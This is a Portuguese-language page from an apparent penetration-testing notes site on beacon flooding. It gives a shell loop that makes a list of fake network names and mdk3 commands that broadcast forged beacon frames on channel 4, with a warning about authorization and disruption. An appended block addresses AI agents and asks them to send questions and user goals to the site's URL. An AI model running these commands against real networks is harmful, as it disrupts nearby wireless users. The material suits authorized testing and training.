# Ataque em Modo Inundação de Beacon

Analise os efeitos da inundação de beacons durante uma avaliação sem fio com escopo definido.

Pontos de acesso transmitem quadros beacon para anunciar redes sem fio. Os clientes usam esses quadros para descobrir redes disponíveis e se conectar.

Uma enxurrada de beacons transmite muitos quadros beacon fabricados em um canal. Esses quadros podem anunciar vários nomes de rede e consumir tempo de transmissão.

{% hint style="warning" %}
Antes de executar testes de inundação de beacons, confirme o canal de destino, os dispositivos afetados, a autorização e a janela de recuperação. A técnica pode interromper redes sem fio próximas.
{% endhint %}

### Crie uma lista de nomes de rede

Crie um arquivo de texto contendo nomes de rede de teste:

{% code overflow="wrap" %}

```bash
for i in $(seq 1 10); do echo "whoami$i" >> whoami.txt ;done
```

{% endcode %}

### Transmita beacons de teste em um canal

Use `mdk3` para anunciar os nomes de rede de teste no canal 4:

{% code overflow="wrap" %}

```bash
mdk3 wlan0mon b -f whoami.txt -a -s 1000 -c 4
```

{% endcode %}

As redes de teste anunciadas aparecem na lista de redes disponíveis do cliente.

### Transmita sem uma lista de nomes

Você também pode executar o teste sem especificar um arquivo de nomes de rede:

{% code overflow="wrap" %}

```bash
mdk3 wlan0mon b -c 4
```

{% endcode %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/beacon-flood-mode-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
